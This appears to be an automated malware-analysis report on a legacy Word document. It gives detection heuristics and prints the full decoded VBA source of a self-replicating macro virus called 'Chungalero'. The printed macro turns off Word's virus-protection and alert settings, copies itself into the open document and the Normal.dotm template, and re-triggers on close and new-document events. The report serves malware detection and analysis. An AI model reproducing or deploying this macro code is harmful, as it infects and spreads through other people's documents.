MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is a legacy Word document containing VBA macros, specifically an AutoOpen macro named 'Chungalero'. This macro is designed to infect the current document and the Normal.dotm template, indicating a self-propagating malware behavior. The ClamAV detection 'Doc.Trojan.Galero-2' further supports its malicious nature, although the specific family is not immediately identifiable from the provided evidence.
Heuristics 5
-
ClamAV: Doc.Trojan.Galero-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Galero-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2478 bytes |
SHA-256: 282e964c65237cea3990e043b0b8a43a99d8f7c10dc19e0dc5e4b13d9552063e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Chungalero"
Sub AutoOpen()
'
' AutoOpen Macro
' ChungaleWare Inc. V1 La Venganza!!!
On Error GoTo Chungalero
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
'Set ActiveDoc = ActiveDocument
'Set GlobalDoc = NormalTemplate
If Not DocInfectado() Then
InfectarDoc
End If
If Not NormalInfectado() Then
InfectarNormal
End If
Call FaKeJoker
Chungalero:
End Sub
Private Sub InfectarDoc()
On Error GoTo InfecDocError
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, Name:="Chungalero", _
Object:=wdOrganizerObjectProjectItems
InfecDocError:
End Sub
Private Sub InfectarNormal()
On Error GoTo InfecDocError
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Chungalero", _
Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
InfecDocError:
End Sub
Public Function DocInfectado()
On Error GoTo DocInfectError
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Chungalero" Then
DocInfectado = True
End If
Next
DocInfectError:
End Function
Public Function NormalInfectado()
On Error GoTo NormalInfectError
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "Chungalero" Then
NormalInfectado = True
End If
Next
NormalInfectError:
End Function
Sub FaKeJoker()
On Error GoTo FaKeError
Dim Dia
Dim Hora
Dim Fecha, FechaFinal
FechaFinal = #12/18/98#
Dia = Day(Now())
Hora = Hour(Now())
If FechaFinal = Date Then
Chungale
End If
Fecha = FechaFinal - Date
FaKeError:
End Sub
Sub Chungale()
On Error GoTo ChungaleError
ChungaleError:
End Sub
Sub AutoClose()
On Error GoTo ErrorClose
Call AutoOpen
ErrorClose:
End Sub
Sub AutoNew()
On Error GoTo ErrorNew
Call AutoOpen
ErrorNew:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.